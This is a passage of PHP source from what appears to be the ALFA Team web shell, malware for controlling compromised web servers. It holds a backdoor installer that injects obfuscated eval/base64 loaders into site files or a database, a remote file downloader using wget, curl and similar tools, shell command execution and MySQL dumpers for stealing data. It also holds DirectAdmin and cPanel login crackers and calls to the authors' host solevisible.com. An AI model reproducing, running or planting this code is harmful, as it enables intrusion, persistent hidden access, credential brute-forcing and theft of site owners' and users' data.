onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="' . $GLOBALS['cwd'] . '" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\'/\',1);">New Tab +</div></div>';
} else {
@error_reporting("\x00\x00\x0f\x03\x18");
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
}
}
function alfalogout()
{
@setcookie("AlfaUser", null, 2012);
@setcookie("AlfaPass", null, 2012);
unset($_COOKIE['AlfaUser'], $_COOKIE['AlfaPass']);
echo "ok";
}
function showAnimation($name)
{
return '-webkit-animation: ' . $name . ' 800ms ease-in-out forwards;-moz-animation: ' . $name . ' 800ms ease-in-out forwards;-ms-animation: ' . $name . ' 800ms ease-in-out forwards;animation: ' . $name . ' 800ms ease-in-out forwards;';
}
function __showicon($r)
{
$s['btn'] = 'http://solevisible.com/images/btn.png';
$s['alfamini'] = 'http://solevisible.com/images/alfamini.png';
$s['loader'] = 'http://solevisible.com/images/loader.svg';
//return 'data:image/png;base64,'.__get_resource($s[$r]);
return $s[$r];
}
function alfainbackdoor()
{
alfahead();
echo "<div class=header><center><p><div class=\"txtfont_header\">| Install BackDoor |</div></p><h3><a href=javascript:void(0) onclick=\"g('inbackdoor',null,'file')\">| In File | </a><a href=javascript:void(0) onclick=\"g('inbackdoor',null,'db')\">| In DataBase | </a></h3></center>";
$error = '<font color="red">Error In Inject BackDoor...!<br>File Loader is not Writable Or Not Exists...!</font>';
$success = '<font color="green">Success...!';
$textarea = "<div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div>";
$select = "<div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select>";
$cwd = 'Example: /home/alfa/public_html/index.php';
if ($_POST['alfa1'] == 'file') {
echo "<center><p><div class='txtfont_header'>| In File |</div></p><p><form onsubmit=\"g('inbackdoor',null,'file',this.method.value,this.file.value,this.shell.value,this.key.value);return false;\"><div class='txtfont'>Use:</div> <select name='method' style='width:155px;' onChange='inBackdoor(this);'><option value='alfa'>Alfa Team Uploader</option><option value='my'>My Private Shell</option></select> <div class='txtfont'>Backdoor Loader:</div> <input type='text' name='file' size='50' placeholder='Example: /home/alfa/public_html/index.php'> <div class='txtfont'>Key: </div> <input type='text' name='key' size='10' value='alfa'> <input type='submit' value=' '><div style='display:none;' id='backdoor_textarea'><div class='txtfont'>Your Shell:</div><p><textarea name='shell' rows='19' cols='103'><?php\n\techo('Alfa Team is Here...!');\n?></textarea></p></div></form></p></center>";
if ($_POST['alfa2'] != '' && $_POST['alfa3'] != '' && $_POST['alfa4'] != '') {
$method = $_POST['alfa2'];
$file = $_POST['alfa3'];
$shell = $_POST['alfa4'];
$key = str_replace(array('"', '\''), '', trim($_POST['alfa5']));
if ($key == '') {
$key = 'alfa';
}
if ($method == 'my') {
$shell = __ZW5jb2Rlcg($shell);
} else {
$shell = $GLOBALS['__ALFA_SHELL_CODE'];
}
$code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="' . $key . '"){$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\\$c));");$x("' . $shell . '");exit;}?>';
if (@is_file($file) && @is_writable($file)) {
@file_put_contents($file, $code . "\n" . @file_get_contents($file));
__alert($success . "<br>Run With: " . basename($file) . "?alfa=" . $key . '</font>');
} else {
__alert($error);
}
}
}
if ($_POST['alfa1'] == 'db') {
echo "<center><p><div class='txtfont_header'>| In DataBase |</div></p>" . getConfigHtml('all') . "<p><form onsubmit=\"g('inbackdoor',null,'db',this.db_host.value,this.db_username.value,this.db_password.value,this.db_name.value,this.file.value,this.method.value,this.shell.value,this.key.value);return false;\">";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Backdoor Loader: ', 'inputName' => 'file', 'inputValue' => $cwd, 'inputSize' => '50', 'placeholder' => true), 'td6' => array('color' => 'FFFFFF', 'tdName' => 'Key: ', 'inputName' => 'key', 'inputValue' => 'alfa', 'inputSize' => '50'));
create_table($table);
echo "<p>{$select}</p>";
echo $textarea;
echo "<p><input type='submit' value=' '></p></form></p></center>";
if ($_POST['alfa2'] != '' && $_POST['alfa3'] != '' && $_POST['alfa5'] != '' && $_POST['alfa6'] != '') {
$dbhost = $_POST['alfa2'];
$dbuser = $_POST['alfa3'];
$dbpw = $_POST['alfa4'];
$dbname = $_POST['alfa5'];
$file = $_POST['alfa6'];
$method = $_POST['alfa7'];
$shell = $_POST['alfa8'];
$key = str_replace(array('"', '\''), '', trim($_POST['alfa9']));
if ($key == '') {
$key = 'alfa';
}
if ($method == 'my') {
$shell = __ZW5jb2Rlcg($shell);
} else {
$shell = $GLOBALS['__ALFA_SHELL_CODE'];
}
if ($conn = mysqli_connect($dbhost, $dbuser, $dbpw, $dbname)) {
$code = '<?php if(isset($_GET["alfa"])&&$_GET["alfa"]=="' . $key . '"){$conn=mysqli_connect("' . str_replace('"', '\\"', $dbhost) . '","' . str_replace('"', '\\"', $dbuser) . '","' . str_replace('"', '\\"', $dbpw) . '","' . str_replace('"', '\\"', $dbname) . '");$q=mysqli_query($conn,"SELECT `code` FROM alfa_bc LIMIT 0,1");$r=mysqli_fetch_assoc($q);$func="cr"."ea"."te_"."fun"."ction";$x=$func("\\$c","e"."v"."al"."(\'?>\'.base"."64"."_dec"."ode(\\$c));");$x($r["code"]);exit;}?>';
if (@is_file($file) && @is_writable($file)) {
@mysqli_query($conn, 'DROP TABLE `alfa_bc`');
@mysqli_query($conn, 'CREATE TABLE `alfa_bc` (code LONGTEXT)');
@mysqli_query($conn, 'INSERT INTO `alfa_bc` VALUES("' . $shell . '")');
@file_put_contents($file, $code . "\n" . @file_get_contents($file));
__alert($success . "<br>Run With: " . basename($file) . "?alfa=" . $key . '</font>');
} else {
__alert($error);
}
}
}
}
echo "</div>";
alfafooter();
}
function alfawhois()
{
echo "<div class='header'><center><p><div class='txtfont_header'>| Whois |</div></p><p><form onsubmit=\"g('whois',null,this.url.value,'>>');return false;\"><div class='txtfont'>Url: </div> <input type='text' name='url' style='text-align:center;' size='50' placeholder='google.com'> <input type='submit' value=' '></form></p></center>";
if ($_POST['alfa2'] == '>>' && !empty($_POST['alfa1'])) {
$site = str_replace(array('http://', 'https://', 'www.', 'ftp://'), '', $_POST['alfa1']);
$target = 'http://api.whoapi.com/?apikey=093b6cb9e6ea724e101928647df3e009&r=whois&domain=' . $site;
$data = @file_get_contents($target);
if ($data == '') {
$get = new AlfaCURL();
$get->ssl = true;
$data = $get->Send($target);
}
$target = @json_decode($data, true);
echo __pre();
if (is_array($target)) {
echo $target["whois_raw"];
} else {
echo alfaEx("whois " . $site);
}
}
echo "</div>";
}
function alfaremotedl()
{
alfahead();
echo "<div class='header'><center><p><div class='txtfont_header'>| Upload From Url |</div></p><p>\r\n<form onsubmit=\"g('remotedl',null,this.d.value,this.p.value,'>>');return false;\">\r\n<p><div class='txtfont'>Url: </div> <input type='text' name='d' size='50'></p>\r\n<div class='txtfont'>Path:</div> <input type='text' name='p' size='50' value='" . $GLOBALS['cwd'] . "'><p><input type='submit' value=' '></p>\r\n</form></p></center>";
if (isset($_POST['alfa1'], $_POST['alfa2'], $_POST['alfa3']) && !empty($_POST['alfa1']) && $_POST['alfa3'] == '>>') {
echo __pre();
$url = $_POST['alfa1'];
$path = $_POST['alfa2'];
echo "<center>";
if (__download($url, $path)) {
echo "<font color=\"green\">Success...!</font>";
} else {
echo "<font color=\"red\">Error...!</font>";
}
echo "</center>";
}
echo "</div>";
alfafooter();
}
function __download($url, $path = false)
{
if (!preg_match("/[a-z]+:\\/\\/.+/", $url)) {
return false;
}
$saveas = basename(rawurldecode($url));
if ($path) {
$saveas = $path . $saveas;
}
if ($content = __read_file($url)) {
if (@is_file($saveas)) {
@unlink($saveas);
}
if (__write_file($saveas, $content)) {
return true;
}
}
$buff = alfaEx("wget " . $url . " -O " . $saveas);
if (@is_file($saveas)) {
return true;
}
$buff = alfaEx("curl " . $url . " -o " . $saveas);
if (@is_file($saveas)) {
return true;
}
$buff = alfaEx("lwp-download " . $url . " " . $saveas);
if (@is_file($saveas)) {
return true;
}
$buff = alfaEx("lynx -source " . $url . " > " . $saveas);
if (@is_file($saveas)) {
return true;
}
$buff = alfaEx("GET " . $url . " > " . $saveas);
if (@is_file($saveas)) {
return true;
}
$buff = alfaEx("links -source " . $url . " > " . $saveas);
if (@is_file($saveas)) {
return true;
}
$buff = alfaEx("fetch -o " . $saveas . " -p " . $url);
if (@is_file($saveas)) {
return true;
}
return false;
}
function clean_string($string)
{
if (function_exists("iconv")) {
$s = trim($string);
$s = iconv("UTF-8", "UTF-8//IGNORE", $s);
}
return $s;
}
function __read_file($file, $boom = true)
{
$content = false;
if ($fh = @fopen($file, "rb")) {
$content = "";
while (!feof($fh)) {
$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
}
@fclose($fh);
}
if (empty($content) || !$content) {
$content = alfaEx("cat '" . addslashes($file) . "'");
}
return $content;
}
function alfaMarket()
{
echo "<div class='header'>";
$curl = new AlfaCURL();
$content = $curl->Send("http://solevisible.com/market.php");
$data = @json_decode($content, true);
if (!empty($data)) {
if ($data["status"] == "open") {
echo $data["content"];
} else {
echo $data["error_msg"];
}
} else {
echo "<div style='text-align:center;font-size:20px;'>Cant connect to the alfa market....! try later.</div>";
}
echo "</div>";
}
function alfaSettings()
{
alfahead();
AlfaNum(6, 7, 8, 9, 10);
echo "<div class=header><center><p><div class=\"txtfont_header\">| Settings |</div></p><h3><a href=javascript:void(0) onclick=\"g('settings',null,null,null,null,null,null,null,null,'main')\">| Generall Setting | </a></h3></center>";
if ($_POST["alfa8"] == "main") {
echo "<p><center><div class=\"txtfont_header\">| Settings |</div></p><form onSubmit=\"reloadSetting(this);return false;\" method='post'>";
$lg_array = array('0' => 'No', '1' => 'Yes');
$penc_array = array('false' => 'No', 'true' => 'Yes');
$protect_html = "";
$icon_html = "";
$postEnc_html = "";
$login_html = "";
$cgiapi_html = "";
foreach ($lg_array as $key => $val) {
$protect_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['safemode'] == '1' ? 'selected' : '') . '>' . $val . '</option>';
}
foreach ($lg_array as $key => $val) {
$icon_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['show_icons'] == '1' ? 'selected' : '') . '>' . $val . '</option>';
}
foreach ($penc_array as $key => $val) {
$cgiapi_html .= '<option value="' . $key . '" ' . (!empty($_POST['alfa9']) && $_POST['alfa9'] == $key ? "selected" : ($GLOBALS["DB_NAME"]["cgi_api"] && empty($_POST['alfa9']) ? 'selected' : '')) . '>' . $val . '</option>';
}
foreach ($penc_array as $key => $val) {
$postEnc_html .= '<option value="' . $key . '" ' . (!empty($_POST['alfa7']) && $_POST['alfa7'] == $key ? "selected" : (__ALFA_POST_ENCRYPTION__ && empty($_POST['alfa7']) ? 'selected' : '')) . '>' . $val . '</option>';
}
$lg_array = array("gui" => "GUI", "500" => "500 Internal Server Error", "403" => "403 Forbidden", "404" => "404 NotFound");
foreach ($lg_array as $key => $val) {
$login_html .= '<option value="' . $key . '" ' . ($GLOBALS['DB_NAME']['login_page'] == $key ? 'selected' : '') . '>' . $val . '</option>';
}
echo "";
echo '<table border="1"><tbody><tr><td><div class="tbltxt" style="color:#FFFFFF">Protect:</div></td><td><select name="protect" style="width:100%;">' . $protect_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Cgi Api:</div></td><td><select name="cgi_api" style="width:100%;">' . $cgiapi_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Post Encryption:</div></td><td><select name="post_encrypt" style="width:100%;">' . $postEnc_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Show Icons:</div></td><td><select name="icon" style="width:100%;">' . $icon_html . '</select></td></tr><tr><tr><td><div class="tbltxt" style="color:#FFFFFF">login Page:</div></td><td><select style="width:100%;" name="lgpage">' . $login_html . '</select></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">UserName:</div></td><td><input type="text" style="width:95%;" name="username" value="' . (empty($_POST['alfa3']) ? $GLOBALS['DB_NAME']['user'] : $_POST['alfa3']) . '" placeholder="solevisible"></td></tr><tr><td><div class="tbltxt" style="color:#FFFFFF">Password:</div></td><td><input type="text" style="width:95%;" name="password" placeholder="*****"></td></tr></tbody></table><input type="hidden" name="e" value="' . $GLOBALS['DB_NAME']['safemode'] . '"><input type="hidden" name="s" value="' . $GLOBALS['DB_NAME']['show_icons'] . '"><p><input type="submit" name="btn" value=" "></p></form></center>';
if ($_POST['alfa5'] == '>>') {
echo __pre();
if (!empty($_POST['alfa3'])) {
$protect = $_POST['alfa1'];
$lgpage = $_POST['alfa2'];
$username = $_POST['alfa3'];
$password = md5($_POST['alfa4']);
$icon = $_POST['alfa6'];
$post_encrypt = $_POST['alfa7'];
$cgi_api_val = $_POST['alfa9'];
@chdir($GLOBALS['home_cwd']);
$basename = @basename($_SERVER['PHP_SELF']);
$data = @file_get_contents($basename);
$user_rand = $GLOBALS["DB_NAME"]["user_rand"];
$pass_rand = $GLOBALS["DB_NAME"]["pass_rand"];
$login_page_rand = $GLOBALS["DB_NAME"]["login_page_rand"];
$safemode_rand = $GLOBALS["DB_NAME"]["safemode_rand"];
$show_icons_rand = $GLOBALS["DB_NAME"]["show_icons_rand"];
$post_encryption_rand = $GLOBALS["DB_NAME"]["post_encryption_rand"];
$cgi_api_rand = $GLOBALS["DB_NAME"]["cgi_api_rand"];
$find_user = '/\'' . $user_rand . '\'(.*?),/i';
$find_pw = '/\'' . $pass_rand . '\'(.*?),/i';
$find_lg = '/\'' . $login_page_rand . '\'(.*?),/i';
$find_p = '/\'' . $safemode_rand . '\'(.*?),/i';
$icons = '/\'' . $show_icons_rand . '\'(.*?),/i';
$postEnc = '/\'' . $post_encryption_rand . '\'(.*?),/i';
$cgi_api_reg = '/\'' . $cgi_api_rand . '\'(.*?),/i';
if (!empty($username) && preg_match($find_user, $data, $e)) {
$new = '\'' . $user_rand . '\' => \'' . $username . '\',';
$data = str_replace($e[0], $new, $data);
}
if (!empty($_POST['alfa4']) && preg_match($find_pw, $data, $e)) {
$new = '\'' . $pass_rand . '\' => \'' . $password . '\',';
$data = str_replace($e[0], $new, $data);
}
if (!empty($lgpage) && preg_match($find_lg, $data, $e)) {
$new = '\'' . $login_page_rand . '\' => \'' . $lgpage . '\',';
$data = str_replace($e[0], $new, $data);
}
if (!empty($find_p) && preg_match($find_p, $data, $e)) {
$new = '\'' . $safemode_rand . '\' => \'' . $protect . '\',';
$data = str_replace($e[0], $new, $data);
}
if (preg_match($icons, $data, $e)) {
$new = '\'' . $show_icons_rand . '\' => \'' . $icon . '\',';
$data = str_replace($e[0], $new, $data);
}
if (preg_match($postEnc, $data, $e)) {
$new = '\'' . $post_encryption_rand . '\' => ' . $post_encrypt . ',';
$data = str_replace($e[0], $new, $data);
}
if (preg_match($cgi_api_reg, $data, $e)) {
$new = '\'' . $cgi_api_rand . '\' => ' . $cgi_api_val . ',';
$data = str_replace($e[0], $new, $data);
}
if (@file_put_contents($basename, $data)) {
echo '<b>UserName: </b><font color="green"><b>' . $username . '</b></font><br /><b>Password: </b><font color="green"><b>' . $_POST['alfa4'] . '</b></font><script>post_encryption_mode = ' . $post_encrypt . ';</script>';
} else {
__alert("<span style='color:red;'>File has no edit access...!</span>");
}
} else {
__alert("<span style='color:red;'>UserName is Empty !</span>");
}
}
} elseif ($_POST["alfa8"] == "color") {
echo "<center><p><div class=\"txtfont_header\">| Custom Color |</div></p><form onSubmit=\"reloadColors();return false;\" method='post'>";
echo "<table border=\"1\"><tbody>";
$template = '<tr><td style="text-align:center;"><a href="http://solevisible.com/customcolors/{help}.png" target="_blank"><font color="#00FF00">Help</font></a></td><td style="text-align:center;"><div class="tbltxt">{index}</div></td><td><div class="tbltxt" style="margin-left:5px;">{target}:</div></td><td><input style="width:60px;" multi="{multi}" id="gui_{target}" onChange="colorHandler(this);" target=".{target}" type="color" value="{color}"></td><td><input type="text" style="text-align:center;" multi="{multi}" onkeyup="colorHandlerKey(this);" target=".{target}" id="input_{target}" class="colors_input" placeholder="#ffffff" value="{color}"></td></tr>';
$x = 1;
foreach ($GLOBALS['__ALFA_COLOR__'] as $key => $value) {
$multi = "";
if (is_array($value)) {
if (isset($value["multi_selector"])) {
$multi = __ZW5jb2Rlcg(json_encode($value));
}
}
$value = alfa_getColor($key);
$help = strtolower(str_replace(array(":", "+"), array("_", "_plus"), $key));
echo str_replace(array("{index}", "{target}", "{color}", "{multi}", "{help}"), array($x++, $key, $value, $multi, $help), $template);
}
echo "<tr><td style=\"text-align:center;\">-</td><td style=\"text-align:center;\"><div class=\"tbltxt\">*</div></td><td><div style=\"margin-left:5px;\" class=\"tbltxt\">Use Default Color:</div></td><td></td><td><center><input type=\"checkbox\" id=\"use_default_color\" value=\"1\"></center></td></tr>";
echo "</tbody></table><p><input type=\"submit\" name=\"btn\" value=\" \"></p></form><p><button style=\"padding:4px;;margin-right:20px;\" onclick=\"\$('importFileBtn').click();\" class=\"button\"> Import </button> <button style=\"padding:4px;margin-left:20px;\" onclick=\"g('settings',null,null,null,null,null,null,null,'export','color')\" class=\"button\"> Export </button></center></p>";
if ($_POST['alfa7'] == 'export') {
echo __pre();
$colors = is_array($GLOBALS["DB_NAME"]["color"]) ? $GLOBALS["DB_NAME"]["color"] : array();
$glob_colors = $GLOBALS["__ALFA_COLOR__"];
$array = array();
foreach ($glob_colors as $k => $v) {
if (isset($colors[$k]) && !empty($colors[$k]) && !$is_default) {
$v = trim($colors[$k]);
} else {
$v = trim(is_array($v) ? $v["key_color"] : $v);
}
$array[$k] = $v;
}
$file = "alfa_color_config_" . date('Y-m-d-h_i_s') . ".conf";
$config = json_encode($array, JSON_PRETTY_PRINT);
if (!@file_put_contents($file, $config)) {
echo '<p><center>Color Config:<br><br><textarea rows="12" cols="70" type="text">' . $config . '</textarea></center></p>';
} else {
echo '<h3><p><center><a class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\'' . $file . '\', \'download\')"><font color="#0F0">Download Config</font></a></center></p></h3>';
}
}
if ($_POST['alfa2'] == '>>') {
echo __pre();
$colors = json_decode($_POST["alfa1"], true);
$array = "";
$is_default = isset($_POST["alfa3"]) && $_POST["alfa3"] == "1" ? true : false;
$glob_colors = $GLOBALS["__ALFA_COLOR__"];
foreach ($glob_colors as $k => $v) {
if (isset($colors[$k]) && !empty($colors[$k]) && !$is_default) {
$v = trim($colors[$k]);
} else {
$v = trim(is_array($v) ? $v["key_color"] : $v);
}
$array .= '"' . trim($k) . '" => "' . $v . '",';
}
@chdir($GLOBALS['home_cwd']);
$basename = @basename($_SERVER['PHP_SELF']);
$data = @file_get_contents($basename);
$color = '/\'color\'(.*?)\\),/s';
if (preg_match($color, $data, $e)) {
$new = "'color' => array(" . $array . "),";
$data = str_replace($e[0], $new, $data);
if (@file_put_contents($basename, $data)) {
echo "<center><p><h3>[+] Success...</h3></p></center><script>location.reload();</script>";
} else {
echo "<center><p><h3>[-] We Not have permission to Edit shell...!</h3></p></center>";
}
} else {
echo "<center><p><h3>[-] Error...!</h3></p></center>";
}
}
}
echo "</div>";
alfafooter();
}
function alfaaboutus()
{
alfahead();
echo "<div class=\"header\">";
$news = new AlfaCURL();
$about_us = $news->Send("http://solevisible.com/aboutus.php");
if (empty($about_us)) {
$about_us = "<pre><center><img src='http://solevisible.com/images/farvahar-iran.png'><br>\r\n<b><font size='+3' color='#00A220'>☮ ~ PEACE ~ ☮</font><br><b>\r\n<font color='#00A220'>Shell Coded By Sole Sad & Invisible (ALFA TEaM)</font><br>\r\n<font color='#00A220'>Contact : solevisible@gmail.com</font><br>\r\n<font color='#00A220'>Telegram Channel: @solevisible</font><br>\r\n<font color='#FFFFFF'>Skype : ehsan.invisible</font><br>\r\n<font color='#FFFFFF'>Skype : sole.sad</font><br>\r\n<font color='#FF0000'>Persian Gulf For Ever</font><br>\r\n<font color='#FF0000'>Iranian Programmers</font><br>\r\n<font color='#FF0000'>############</font><br>\r\n</center></pre><iframe src='tg://resolve?domain=solevisible' frameborder='0' width='0' height='0'></iframe>";
}
echo __pre() . $about_us;
echo "</div>";
alfafooter();
}
function alfacoldumper()
{
alfahead();
echo "<div class=\"header\">";
AlfaNum(8, 9, 10);
echo "<center><br><div class='txtfont_header'>| Mysql Column Dumper |</div><br><br>" . getConfigHtml('all') . "<form method='post' onsubmit=\"var opt_id=this.getAttribute('opt_id');var delimiter='json';try{if(\$('dumper-delimiter-type').value == 'delimiter')delimiter=\$('dumper-delimiter-input').value}catch(e){};g('coldumper',null,delimiter,JSON.stringify(col_dumper_selected_data[opt_id]),this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); col_dumper_selected_data[opt_id] = {};return false;\"><p>";
$delimiter = !empty($_POST['alfa1']) ? $_POST['alfa1'] : '::';
$selected_data = json_decode($_POST['alfa2'], true);
$username = $_POST['alfa3'];
$password = $_POST['alfa4'];
$dbname = $_POST['alfa5'];
$dfile = $_POST['alfa6'];
$host = $_POST['alfa7'];
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => $host, 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => $username, 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => $password, 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => $dbname, 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Output Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']), 'inputSize' => '50'));
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$db = false;
if (!empty($dbname)) {
$db = @mysqli_connect($host, $username, $password, $dbname);
}
if (count($selected_data) > 0) {
if ($db) {
if (!is_dir($dfile)) {
$dfile = $GLOBALS['cwd'];
}
$tbls = "";
$ext = '.txt';
if ($delimiter == 'json') {
$ext = '.json';
}
foreach ($selected_data as $tbl => $cols) {
$tables_query = mysqli_query($db, "SELECT " . implode(',', $cols) . " FROM {$tbl}");
$file_name = $dfile . '/' . $dbname . '.' . $tbl . $ext;
$fp = fopen($file_name, "w");
$data = array();
while ($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)) {
if ($delimiter == "json") {
$col_arr = array();
foreach ($row as $key => $value) {
if (empty($value)) {
$value = "[empty]";
}
$col_arr[$key] = $value;
}
$data[$tbl][] = $col_arr;
} else {
$data = "";
foreach ($row as $key => $value) {
if (empty($value)) {
$value = "[empty]";
}
$data .= $value . $delimiter;
}
fwrite($fp, $data . "\n");
}
}
if ($delimiter == "json") {
fwrite($fp, json_encode($data));
}
fclose($fp);
$tbls .= "Done ~~~> " . $file_name . "<br>";
}
echo __pre();
echo "<center><font color='#00FF00'>" . $tbls . "</font></center>";
}
}
if (!empty($dbname) && count($selected_data) == 0) {
//echo __pre();
if ($db) {
echo "<hr><div style='text-align:center;margin-bottom:5px;font-weight:bolder;'><span>[ Select your tables and columns for dumping data ]</span></div>";
echo "<div style='text-align:center;'><span>Output Type: </span><select id='dumper-delimiter-type' onchange='colDumplerSelectType(this);' name='output_type'><option value='delimiter' selected>delimiter</option><option value='json'>json</option></select><div id='coldumper-delimiter-input' style='display:inline;'><span> Delimiter: </span><input id='dumper-delimiter-input' style='text-align:center;' type='text' name='delimiter' placeholder='eg: ,'></div></div>";
$data = array();
$tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");
while ($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)) {
$data[$row["table_name"]] = array();
$table_count_q = mysqli_query($db, "SELECT count(*) FROM `" . $row['table_name'] . "`");
$table_count = mysqli_fetch_row($table_count_q);
$data[$row["table_name"]]["data_count"] = $table_count[0];
$columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = '" . $row['table_name'] . "'");
while ($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)) {
$data[$row["table_name"]]["cols"][] = $row2["column_name"];
}
}
mysqli_close($db);
echo "<ul id=\"myUL\">";
foreach ($data as $tbl => $cols) {
echo '<li><span style="color:#00FF00;" class="box">' . $tbl . ' (' . $cols["data_count"] . ')</span><ul class="nested">';
foreach ($cols["cols"] as $col) {
echo '<li tbl="' . $tbl . '"><span style="color:#00FF00;" tbl="' . $tbl . '" class="box sub-box">' . $col . '</span></li>';
}
echo "</ul></li>";
}
echo "</ul>";
} else {
echo "<center>mysqli_connect : Error!</center>";
}
}
echo "</div>";
alfafooter();
}
function alfaDumper()
{
alfahead();
echo "<div class=\"header\">";
AlfaNum(8, 9, 10);
echo "<center><br><div class='txtfont_header'>| Mysql Database Dumper |</div><br><br>" . getConfigHtml('all') . "<form method='post' onsubmit=\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
$table = array('td1' => array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'), 'td2' => array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'), 'td3' => array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'), 'td4' => array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'), 'td5' => array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']) . 'alfa.sql', 'inputSize' => '50'));
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$username = $_POST['alfa3'];
$password = $_POST['alfa4'];
$dbname = $_POST['alfa5'];
$dfile = $_POST['alfa6'];
$host = $_POST['alfa7'];
if (!empty($dbname)) {
echo __pre();
$msg = "<center>Check this : <font color='red'>" . $dfile . "</font></center>";
if (@mysqli_connect($host, $username, $password, $dbname)) {
if (strlen(alfaEx("mysqldump")) > 0) {
alfaEx("mysqldump --single-transaction --host=\"{$host}\" --user=\"{$username}\" --password=\"{$password}\" {$dbname} > '" . addslashes($dfile) . "'");
echo $msg;
} else {
__alert("Error...!");
}
} else {
echo "<center>mysqli_connect : Error!</center>";
}
}
echo "</div>";
alfafooter();
}
function Alfa_DirectAdmin_Cracker($info)
{
if (!$info['mysql']) {
$url = $info['protocol'] . $info['target'] . ':' . $info['port'] . '/CMD_LOGIN';
} else {
$url = $info['protocol'] . $info['target'] . '/phpmyadmin';
}
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($curl, CURLOPT_HEADER, 0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERPWD, $info['username'] . ':' . $info['password']);
if ($info['mysql']) {
curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
}
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {
echo "<font color='red'>Error: {$curl_error}</font><br>";
} elseif (preg_match('/CMD_FILE_MANAGER|frameset/i', $result)) {
echo 'UserName: <font color="red">' . $info['username'] . '</font> PassWord: <font color="red">' . $info['password'] . '</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_CP_Cracker($info)
{
$url = $info['protocol'] . $info['target'] . ':' . $info['port'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
